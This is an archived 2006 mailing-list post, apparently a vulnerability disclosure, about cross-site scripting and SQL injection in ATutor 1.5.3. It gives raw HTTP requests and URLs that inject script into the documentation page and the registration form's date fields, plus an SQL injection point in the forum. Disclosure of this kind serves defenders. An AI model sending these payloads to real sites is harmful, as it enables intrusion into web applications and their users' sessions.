|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
ATutor 1.5.3 Cross Site Scripting
securityconnection
gmail.com
Date: Sat Jul 08 2006 - 07:44:23 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
ATutor 1.5.3
http://www.atutor.ca
--------------------------
Cross Site Scripting (XSS)
--------------------------
http://target.xx/documentation/index_list.php?lang="><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&year="><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&month="><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&day="><script>alert(/EllipsisSecurityTest/)</script>
-------------
SQL injection
-------------
http://target.xx/forum/index.php?fid=-1[SQL]
-----------------
Ellipsis Security
http://www.ellsec.org
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]